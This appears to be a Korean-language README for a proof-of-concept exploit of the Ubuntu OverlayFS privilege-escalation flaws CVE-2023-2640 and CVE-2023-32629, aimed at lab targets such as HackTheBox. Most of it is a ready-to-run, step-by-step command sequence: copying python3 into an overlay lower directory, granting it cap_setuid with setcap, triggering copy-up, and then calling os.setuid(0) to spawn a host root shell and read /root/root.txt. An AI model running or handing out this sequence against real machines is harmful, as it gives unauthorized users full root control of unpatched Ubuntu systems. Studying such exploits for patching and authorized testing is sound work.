
깨끗하고 대화형의 다단계 Local Privilege Escalation (LPE) 익스플로잇으로, Ubuntu OverlayFS (GameOver(lay))를 대상으로 user namespace 샌드박스를 탈출하여 진정한 호스트 루트 셸을 획득합니다.
Ubuntu Linux 커널 OverlayFS 취약점(CVE-2023-2640 / CVE-2023-32629)을 대상으로 하는 대화형 다단계 로컬 권한 상승(LPE) PoC입니다.
표준 자동화 원라이너가 대화형 셸을 제한적인 사용자 네임스페이스 (가짜 루트) 내부에 가두는 것과 달리, 이 방법론은 익스플로잇 시퀀스를 분할하여 안전하게 진정한 제한 없는 호스트 루트 셸을 획득합니다.
많은 공개 익스플로잇은 다음과 같은 단일 자동화 셸 시퀀스를 사용하여 설정과 실행을 함께 연결합니다:
unshare -rm sh -c "mkdir l u w m && ... && touch m/*; python3 -c '...'"
Python 실행 페이로드가 unshare 큰따옴표 안에 포함되어 있기 때문에 사용자 네임스페이스 샌드박스 내부에서 실행됩니다.
uid=0(root)로 표시되지만, 셸은 호스트와 암호화적으로 격리됩니다. 호스트 루트 디렉토리(cd /root)를 보려고 하면 Permission Denied 오류가 발생합니다.이 PoC는 프로세스를 두 개의 별도 논리적 단계로 분할합니다:
ovl_copy_up 결함을 악용하기 위해 unshare를 사용하여 잠시 동안 가짜 루트 권한을 획득하고, 높은 권한의 setcap cap_setuid+eip 기능을 로컬 Python 바이너리 폴더로 유출합니다.os.setuid(0)를 허용하여 진정한 호스트 수준 시스템 관리 권한을 제공합니다.ovl_copy_up_meta_inode_data 함수에 있는 결함으로, 파일 마이그레이션 중 유효성 검사를 완전히 우회할 수 있습니다.6.2.0-26-generic 미만인 Ubuntu 22.04 LTS./tmp 내부)에 exploit.sh를 클론하거나 다운로드합니다.chmod +x exploit.sh
./exploit.sh
휘발성 리버스 셸을 사용 중인 경우 다음 명령을 완전히 분리하여 각 줄 뒤에 Enter를 누르며 실행하세요:
# 1. Clean workspace environment
cd /tmp && rm -rf l u w m
# 2. Forge the backdoor within the temporary namespace sandbox
unshare -rm sh -c "mkdir l u w m && cp /usr/bin/python3 l/ && setcap cap_setuid+eip l/python3 && mount -t overlay overlay -o rw,lowerdir=l,upperdir=u,workdir=w m && touch m/*"
# 3. Trigger execution on the real host to claim true root
./u/python3 -c 'import os; os.setuid(0); os.system("/bin/bash")'
현재 사용자 프로필을 확인하여 실제 권한을 확인하세요:
whoami
cat /root/root.txt
이 대화형 리팩터에 사용된 기본 익스플로잇 메커니즘은 보안 연구원 Liav Eliyahu와 g1vi에 의해 처음 발견되고 문서화되었습니다.
이 저장소는 교육, 보안 연구 및 승인된 침투 테스트 목적(예: HackTheBox / OffSec 랩)을 위해 엄격히 생성되었습니다. 저자는 이 자료의 오용, 무단 액세스 시도 또는 인프라 손상에 대해 어떠한 책임도 지지 않습니다. 책임감 있게 사용하십시오.